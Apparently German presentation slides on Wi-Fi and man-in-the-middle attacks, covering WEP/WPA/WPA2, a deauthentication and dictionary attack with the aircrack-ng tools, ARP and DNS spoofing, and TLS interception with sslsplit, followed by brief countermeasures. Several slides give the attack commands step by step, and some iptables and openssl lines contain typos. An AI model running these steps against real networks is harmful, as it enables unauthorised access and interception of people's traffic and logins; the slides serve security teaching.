WLan MitM WPA2

oder: wie sicher ist Ihr Funknetzwerk?

INHALT

:: **WLan**
- Verschlüsselung (WEP,WPA,WPA2)
- Angriffsvektoren
- Vorführung

:: **Man in the Middle**
- Address-Resolution-Protocol (ARP)
- TLS-Grundlagen (SSL)
- Vorführung

:: **Gegenmassnahmen**
- "Live-Hack"-Künstlichkeiten

0 WIRELESS LAN

:: Wired Equivalent Privacy (WEP)

- RC4
- 40- bzw.104-Bit
- Plain-Text-Angriff

:: WiFi Protected Access (WPA)

- Temporal Key Integrity Protokoll
- Sequenznummer (48bit)

:: WPA 2

- Advances Encryption Standard

8 WIRELESS LAN

:: Voraussetzungen

- Client im WLan
- Zeit (fürs Kennwort)
- Infrastructure WLan

:: Ablauf

- lauschen
- Client vom AP abmelden
- Anmeldung mitschneiden
- Wörterbuch-Angriff

8 WIRELESS LAN

:: Vorbereiten

scan: `iwlist <device> scan | grep -A 6 Cell`

monitoring: `airmon-ng start <device> <#>`

:: Lauschen

`airodump-ng --bssid <bssid> --channel <#> -w <datei*> <mon_dev>`

:: Attacke

~~warten auf~~ Login provizieren

`aireplay-ng --deauth # -a <bssid> -c <client_mac> <mon_dev>`

Kennwort raten

`aircrack-ng -w <woerterbuch> <datei*>`

MAN IN THE MIDDLE

:: Man in the Middle

- Snarfing
- DNS-Poisoning
- ARP-Spoofing

:: ARP-Spoofing

- Sternverteilung
- Layer-2 (OSI)
- ARP: Who-Has? Tell me
- Routing & Proxy

:: Transport Layer Security

- Zertifikate & TLS-Proxy

ARP-SPOOFING

:: Vorgaben

- Router: 192.168.2.1 - 01:01:01:01:01:01
- Opfer : 192.168.2.100 - 64:64:64:64:64:64
- Hacker: 192.168.2.196 - C4:C4:C4:C4:C4:C4

:: regulärer Ablauf

#1 **Opfer fragt** wer hat *192.168.2.1? Antwort an:192.168.2.100*
#2 **Router** antwortet an Opfer: Router=01:01:01:01:01:01

:: gespoofter Ablauf

#1 **Opfer fragt** wer hat 192.168.2.1? Antwort an:192.168.2.10
#2 **Hacker antwortet** an Opfer: 192.168.2.1=C4:C4:C4:C4:C4:C4
#3 **Hacker** sendet an Router: 192.168.2.100=C4:C4:C4:C4:C4:C4

MAN IN THE MIDDLE

:: Vorbereiten

Routing: `echo 1 > /proc/sys/net/ipv4/ip_forward`

Firewall:

```
iptables -t mangle -A INPUT -m ttl --ttl-eq=1 -j PREROUTING
iptables -t mangle-A PREROUTING -j TTL --ttl-inc 1
iptables -A OUTPUT -p icmp --icmp-type 5 -d <opfer> -j DROP
```

:: arpspoof

```
arpspoof -i <dev> [-c both] [-t <opfer> [-r]] <req_spoof>
tcpdump -i <dev> -w <datei>.pcap
```

Datenanalyse: `wireshark <datei>.pcap`

:: dnsspoof

<hosts-file> analog zu /etc/hosts

```
arpspoof -i <dev> [-c both] -t <opfer> -r <DNS-IP>
dnsspoof -i <dev> <host-file>
```

MAN IN THE MIDDLE

:: TLS / SSL - Vorbereitung

routing: `echo 1 > /proc/sys/net/ipv4/ip_forward`

Firewall:
```
iptables -t -A PREROUTING -p tcp --dport  80 -j REDIRECT --to-ports 8080
iptables -t -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
```

Zertifikate:
```
openssl genrsa -out priv.key 4096
openssl req -x50 -days 3180 -key priv.key -out cert.crt
#commonname!
```

:: arpspoof

```
arpspoof -i <dev> [-c both] [-t <opfer> [-r]] <req_spoof>
```

:: sslsplit

```
sslsplit -D -l <log> -S <dir> -k <priv> -c <cert> ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
```

8 GEGENMASSNAHMEN

:: WLan

- Kennwort
- AP-Isolation
- (MAC-Filter)

:: ARP-Spoofing

- MAC -> mehrere IPs
- IP -> versch. MAC
- TTL -> traceroute

:: Transport Layer Security

- Zertifikate prüfen!

FRAGEN

0x28 T0B1

:: Freie Software

www.FSFE.org

www.GNU.org

:: GNU/Linuxe

www.PENTOO.org

www.GENTOO.org

:: WLan

www.FREIFUNK.net

:: Autor:

http://[::1]

nomail@127.3.1.80

0010 1011